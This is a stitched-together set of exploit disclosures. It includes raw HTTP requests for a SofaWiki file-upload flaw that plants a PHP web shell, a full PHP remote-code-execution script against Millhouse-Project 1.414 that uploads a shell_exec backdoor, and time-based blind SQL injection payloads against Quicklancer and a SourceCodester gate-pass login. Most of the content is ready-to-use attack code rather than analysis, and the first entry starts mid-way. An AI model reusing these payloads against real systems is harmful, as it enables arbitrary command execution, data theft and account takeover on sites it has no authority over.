    Referer: http://172.16.134.41/sofawiki-master/index.php?action=view&name=special:upload-big&lang=en
    Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
    
    ------WebKitFormBoundaryk1tApDzIaBAxp9EH
    Content-Disposition: form-data; name="uploadedfile"; filename="edc4325bdef3f7fb70abd0389e85f6d1"
    Content-Type: application/octet-stream
    
    <?php echo system($_REQUEST["cmd"]);?>
    ------WebKitFormBoundaryk1tApDzIaBAxp9EH--
    

> 3rd

    POST /sofawiki-master/index.php?action=uploadbigfile HTTP/1.1
    Host: 172.16.134.41
    Content-Length: 574
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfeK0BammsIbqUGBr
    Accept: */*
    Origin: http://172.16.134.41
    Referer: http://172.16.134.41/sofawiki-master/index.php?action=view&name=special:upload-big&lang=en
    Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
    
    ------WebKitFormBoundaryfeK0BammsIbqUGBr
    Content-Disposition: form-data; name="composechunks"
    
    edc4325bdef3f7fb70abd0389e85f6d1
    ------WebKitFormBoundaryfeK0BammsIbqUGBr
    Content-Disposition: form-data; name="filename"
    
    evilupload.php
    ------WebKitFormBoundaryfeK0BammsIbqUGBr
    Content-Disposition: form-data; name="comment"
    
    test
    ------WebKitFormBoundaryfeK0BammsIbqUGBr
    Content-Disposition: form-data; name="uploadtime"
    
    1
    ------WebKitFormBoundaryfeK0BammsIbqUGBr
    Content-Disposition: form-data; name="start"
    
    0
    ------WebKitFormBoundaryfeK0BammsIbqUGBr--
    

4.  After uploading a malicious PHP file, arbitrary code can be executed.

CVE-2023-29721: [Vuln]There is a file upload vulnerability that leads to command execution. · Issue #27 · bellenuit/sofawiki

thrsrossi Millhouse-Project version 1.414 suffers from a remote shell upload vulnerability.

    <?php/*Exploit Title: thrsrossi Millhouse-Project 1.414 - Remote Code ExecutionDate: 12/05/2023Exploit Author: Chokri HammediVendor Homepage: https://github.com/thrsrossi/Millhouse-ProjectSoftware Link: https://github.com/thrsrossi/Millhouse-Project.gitVersion: 1.414Tested on: DebianCVE: N/A*/$options = getopt('u:c:');if(!isset($options['u'], $options['c']))die("\033[1;32m \n Millhouse Remote Code Execution \n Author: Chokri Hammedi\n \n Usage : php exploit.php -u http://target.org/ -c whoami\n\n\033[0m\n\n");$target     =  $options['u'];$command    =  $options['c'];$url = $target . '/includes/add_post_sql.php';$post = '------WebKitFormBoundaryzlHN0BEvvaJsDgh8Content-Disposition: form-data; name="title"helloworld------WebKitFormBoundaryzlHN0BEvvaJsDgh8Content-Disposition: form-data; name="description"<p>sdsdsds</p>------WebKitFormBoundaryzlHN0BEvvaJsDgh8Content-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundaryzlHN0BEvvaJsDgh8Content-Disposition: form-data; name="category"1------WebKitFormBoundaryzlHN0BEvvaJsDgh8Content-Disposition: form-data; name="image"; filename="rose.php"Content-Type: application/x-php<?php$shell = shell_exec("' . $command . '");echo $shell;?>------WebKitFormBoundaryzlHN0BEvvaJsDgh8--';$headers = array(    'Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryzlHN0BEvvaJsDgh8',    'Cookie: PHPSESSID=rose1337',);$ch = curl_init($url);curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_POSTFIELDS, $post);curl_setopt($ch, CURLOPT_POST, true);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, true);$response = curl_exec($ch);curl_close($ch);// execute command$shell = "{$target}/images/rose.php?cmd=" . urlencode($command);$ch = curl_init($shell);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);$exec_shell = curl_exec($ch);curl_close($ch);echo "\033[1;32m \n".$exec_shell . "\033[0m\n \n";?>

thrsrossi Millhouse-Project 1.414 Shell Upload

Quicklancer version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Quicklancer v1.0 - SQL Injection# Date: 2023-05-17# Exploit Author: Ahmet Ümit BAYRAM# Vendor:https://codecanyon.net/item/quicklancer-freelance-marketplace-php-script/39087135# Demo Site: https://quicklancer.bylancer.com# Tested on: Kali Linux# CVE: N/A### Request ###POST /php/user-ajax.php HTTP/1.1Content-Type: application/x-www-form-urlencodedAccept: */*x-requested-with: XMLHttpRequestReferer: https://localhostCookie: sec_session_id=12bcd985abfc52d90489a6b5fd8219b2;quickjob_view_counted=31; Quick_lang=arabicContent-Length: 93Accept-Encoding: gzip,deflate,brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: localhostConnection: Keep-aliveaction=searchStateCountry&dataString=deneme### Parameter & Payloads ###Parameter: dataString (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: action=searchStateCountry&dataString=deneme' AND (SELECT 8068FROM (SELECT(SLEEP(5)))qUdx) AND 'nbTo'='nbTo

Quicklancer 1.0 SQL Injection

SourceCodester Employee and Visitor Gate Pass Logging System v1.0 is vulnerable to SQL Injection via /employee_gatepass/classes/Login.php.

**BUG\_Author:**

**ZongXin Li**

**Affected version:**

EMPLOYEE AND VISITOR GATE PASS LOGGING SYSTEM - 1.0

**Vendor:**

https://www.sourcecodester.com/users/tips23

**Software:**

https://www.sourcecodester.com/php/15026/employee-and-visitor-gate-pass-logging-system-php-source-code.html

**Vulnerability File:**

/employee\_gatepass/classes/Login.php

**Description:**

The system Employee and Visitor Gate Pass Logging 1.0 is vulnerable to SQL Injection via /employee\_gatepass/classes/Login.php. The parameter username is not sanitized correctly. The malicious actor can use this vulnerability to manipulate the administrator account of the systemand can take full control of the information about the other accounts. Status: CRITICAL

GET parameter 'username' exists SQL injection vulnerability

Payload1:username=admin' and (select 2 from (select(sleep(10)))x) and 'x'='x&password=admin123

    POST /employee_gatepass/classes/login.php?f=login HTTP/1.1
    Host: 127.0.0.1
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
    sec-ch-ua-mobile: ?0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 32
    
    username=admin' and (select 2 from (select(sleep(10)))x) and 'x'='x&password=admin123
    

The server's response time is 10 seconds

Payload2:username=admin'and left(version(),6)='5.7.27' AND 'ledo'='ledo&password=admin123

    POST /employee_gatepass/classes/login.php?f=login HTTP/1.1
    Host: 127.0.0.1
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
    sec-ch-ua-mobile: ?0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 32
    
    username=admin'and left(version(),6)='5.7.26' AND 'ledo'='ledo&password=admin123
    

Error injection success

When I enter the version number 5.7.26, it returns "success". Error statement when typing 5.7.27

Tag

#webkit